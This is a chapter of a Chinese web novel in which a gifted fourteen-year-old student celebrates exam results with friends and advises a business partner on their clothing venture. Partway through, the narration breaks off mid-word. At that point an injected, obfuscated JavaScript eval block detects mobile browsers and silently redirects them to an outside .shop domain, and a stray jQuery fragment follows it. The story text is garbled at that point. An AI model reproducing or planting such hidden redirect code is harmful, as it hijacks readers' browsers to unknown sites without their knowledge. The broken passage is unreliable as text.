期末的成绩榜比往日月考榜更拥挤,华咏章提着书包远远的看一眼就放弃了去围观的想法,但身边的女孩子们可不愿意。
罗慧芳不顾华咏章的抗拒,推着她的肩膀往人群里挤:“看看吧,看看,这把你肯定是第一了!”
上个月月考,华咏章因为缺考榜上无名,可把罗慧芳难受坏了,因为庞娇娇在宿舍抖了好几天。
尤其是华咏章又请假了好一阵子,被庞娇娇戏称为“失败者拿请假当遮羞布。”
虽然大家都知道庞娇娇只是口嗨一下,华咏章的考试水平还是有目共睹的,但只有到这一刻,成绩榜上第一名尘埃落定的挂上华咏章的大名,这一“战”才算大获全胜。
凌佳已经看完成绩了,正往外挤,远远看她们几个才过来,就举着手跳起来:“华咏章,出来,我看了你又是第一!”
话刚落音,各种杂七杂八的目光从四面八方涌向凌佳。华咏章并不打算出这个“洋相”,立刻演技精湛的装聋。
奈何罗慧芳比她自己考了第一还要兴奋,也举着手弹起来:“真的!还有我呢?”
凌佳又回头找了一下:“你在四十一名!”
罗慧芳立即兴奋的发出一串激动的尖叫声:“啊啊啊,进步了进步了!过年可以交差了!”
华咏章被她的开心感染,于是拍拍她的肩膀:“恭喜你啊!但别叫了。”
凌佳很快从里面挤了出来:“呼,我早就想出来了,一放学我就百米冲刺过来了,没想到一下子就被人海包围了。”
罗慧芳还在兴奋中,抱着华咏章的一只手臂大半个身子都挂在她身上,婴儿肥的脸上一双水灵灵的眼睛眯成一对弯月牙,满脸的求夸奖,凌佳当即不满意的去拉华咏章的另一只手:“你寒假什么打算?”
但华咏章于是对她晃了晃示意:“我拎着书包呢。”
让她撒手。
凌佳当即跺脚噘嘴冷脸三件套。
要是平时她这样,华咏章就会给她个台阶下,结果罗慧芳叽叽喳喳的接话:“寒假我要出去玩!等下雪的时候去爬矮山,景色最宜人了!我知道一个地方,山上有小瀑布,落完雪半座山都是冰封,远远看看都很震撼!”
凌佳一看没人注意自己,只得一路小跑跟在她们身后,提高声音:“我要去自由市场,你们知道是哪儿吗?”
罗慧芳立刻放开华咏章的手臂,转而去贴凌佳:“我知道我知道!我妈说我这次期末考能进前五十,就给我去自由市场买一身衣裳!”
两个人投入的边走边聊,华咏章则心情很好,不紧不慢的走着。
罗慧芳还沉迷在凌佳对自由市场的描绘中,不知不觉间三人就走到了北城小吃门口,虽然放寒假了,北城小吃的生意并不差。
到期末了,学生们可以彻底放松了,北城小吃提前几天就挂了一块小黑板预告,寒假前可以定制菜品,提前预定会有惊喜。
作为期末狂欢,来吃一顿北城小吃,不过分吧?
不仅不过分,甚至是近来的流行!
北城小吃今天依然座无虚席,罗慧芳早打算期末请华咏章吃顿大餐了,但是奈何她下手晚了,没订到桌。结果她们仨刚在门口站定,北城小吃的老板就从里面走出来,欢天喜地的把她们迎进去:“给你们留好座了。”
罗慧芳有些心虚:“老板,我前天来订你们不是说没桌了吗?”
凌佳得意道:“我抢到的!”
罗慧芳正要夸她运气好,就见北城小吃的老板解下围裙,一屁股坐到她对面,然后眉飞色舞的跟华咏章说了起来:“你之前让我在市场占个位置,我真的没想到!最近好多人找来,加钱想把那个位置拿走!”
华咏章安静地喝着水:“随你。”
她扫了一圈热闹的室内:“但马上寒假了,你们刚好闲了,可以去忙那边的。”
凌佳藏不住话:“你们在说什么?是我想的那个市场吗?”
冯月梅美滋滋道:“知道自由市场不?进去第三家那里被我拿下了!哪里原本是个垃圾场,改造完都没人去,没想到呀!”
罗慧芳的眼睛瞪圆了:“你……你……你们家是不是卖发圈和袜子手套那些?”
冯月梅点头:“是呀!你下次去,报她名字打折!”
凌佳也跟着默默喝水,一脸的高深莫测,其实她也是刚知道,但是在罗慧芳面前,不能输。
想到上次她回家把自己的存钱罐敲碎,数够了二十块钱拿给华咏章,想着能让她度过跟父母闹崩后无依无靠的生活……
呵呵。
说来也怪,弱小者她同情,强大者她仰慕,像华咏章这种混合体,她从从前的酸了吧唧到如今与有荣焉,不过一个多月的时间。
-
就在华咏章收拾好行李打算去辽城前,苏广复杀来了。
他刚从南城回来,虽然风尘仆仆,但精神状态很好,面色红润,毕竟人逢喜事精神爽。
他想追容鸣蝉好几年了,两人一直恋人未满,鸣蝉因为前一段感情的失败,一直对再进入婚姻感到抗拒,而他,则怂且自卑,不敢开口。
他总是游走在南城和北城之间,事业做的也粗粗浅浅,东一头西一头,听说哪个挣钱就去拿什么货,连他妈都说他像个长途货郎。
可不是货郎嘛?把北城的货带去南城,再把南城的搬到北城,转个手就赚一笔,一趟抵别人几个月工资。
但这哪够啊?他就算不休息,一直跑,也只将将超过容鸣蝉那个店的流水。爷们赚的没女人多,还拿什么底气给人家说要共度一生?
到如今,苏广复只能说多亏了当初那个落魄的小姑娘上门拿货时他结了个善缘。
服装厂的资源除了华咏章自己在南城谈的,还有容鸣蝉的,他从八月跑到如今,现在两边都刚走上正轨。
也正是这几个月的奔波,他瘦的腰都掉了几个码,顾不上烫头,但瘦了之后五官都立体许多。这些之外,最惊喜的是容鸣蝉和他的感情前进了一大步!
巷子进了倒不了车,苏广复把车停在北城小吃门口,一路春心荡漾的走去她住处。
见面先夸了她十分钟。
接着又抛出新问题,他现在已经不把华咏章当小孩看了。
他现在恨不得管她喊爹,但是他妈不允许。
苏妈妈对儿子很无语,但得知自己即将有儿媳妇了,别提多开心了。
苏广复还是一贯的贫嘴:“妈,您看看您,多好的福气,不仅有了儿媳妇,还白饶一个大孙女!”
苏妈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282276|131610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
妈风中凌乱的接受了。
没法子,以前她抗拒过,现在儿子眼看马上就要成老光棍了,他愿意成家,就算她没愧对苏家的列祖列宗。
“那我还能有自己亲孙吗?”苏妈妈卑微的问。
她的好大儿龇着牙:“看您媳妇儿心情。”
苏妈妈把素未谋面的媳妇儿的照片又看了一遍,叹息道:“不生也好,你们老苏家都是什么奇葩基因,这么丑,生了也是贡献丑人图谱。”
苏广复不爽:“妈,都说妈不嫌儿丑!”
苏妈妈耸肩:“啧,不止丑,还没文化。我当初就是叫你爸的甜言蜜语蒙蔽了双眼,我这么如花似玉的大美人,生出你这个小老鼠。”
苏广复一点都不气,美滋滋的来跟华咏章聊进度了。
他问完,华咏章挑着回了两个方案,然后将书包一收,一副要马上动身的样子。
苏广复急了:“走之前,你把接下来的这几个问题跟我过过呀!”
华咏章检查完一圈出租屋:“看你样子你也不是下了火车就来这儿的呀?阿姨没给你看我留的东西?”
苏广复尴尬挠头:“没有,我回家就洗澡换衣服,开车来找你了……这么说你都知道我会遇到什么问题?”
华咏章摇头:“我又不会算命,刚刚回你的那两个就没想到,现在资金不足,不要盲目增加单量。北城的人是多,但是不像南城那么繁华,很多人家消费不起那些贵价的,款式出来后可能很快就会有人拿我们的款去降价卖,这个避免不了……”
“先把自由市场的那个店的口碑做好,新店的选址我选了几个备选,你们商量着办,我要等年后再回来。”
聊完了生意,华咏章又瞄了他几眼:“苏哥,这是好事将近?”
苏广复一下子绷不住了:“我妈真的没背着我把我八字给你吗?你比桥头那算命的还准!”
华咏章不逗他了:“别冤枉我,你照照镜子好吧。”
苏广复干咳一声:“上次还看到你这屋有镜子啊?”
华咏章笑容消失了。
还能哪去了?镜子被华元璋打碎了。
苏广复知道她要去辽城看外婆,又问:“那你过年不回家?”
华咏章又沉默了一下:“过年我还有别的事。”
苏广复没再追问,两人一前一后出了门,华咏章给出租屋落锁,轻叹一声。
苏广复在她边上欲言又止:“哪啥,我现在理解你为什么不签合同了……”
八月份,他们谈合作,他都感动于这位搭档对他无条件的信任。
一个多月前,苏广复跑去南城处理事,跟容鸣蝉的关系推进后,他远程电话给他妈和老曹,从老曹那儿找到冯月梅,联系上华咏章。
那时他就隐约听说华咏章这边出事了,后面他妈又说问题不大。
结果回来之后他妈立刻咋咋呼呼的跟他说:“你知道吗?小华在读镇一中!她只有十四岁!”
至于后面的她要跟家里决裂什么的……他全听不到。
苏广复当时满脑子:她只有十四岁!
虽然读书不怎么样,但他一直觉得自己是个了不得的天才!
现在,呵呵。
他从天才变成了天才的朋友。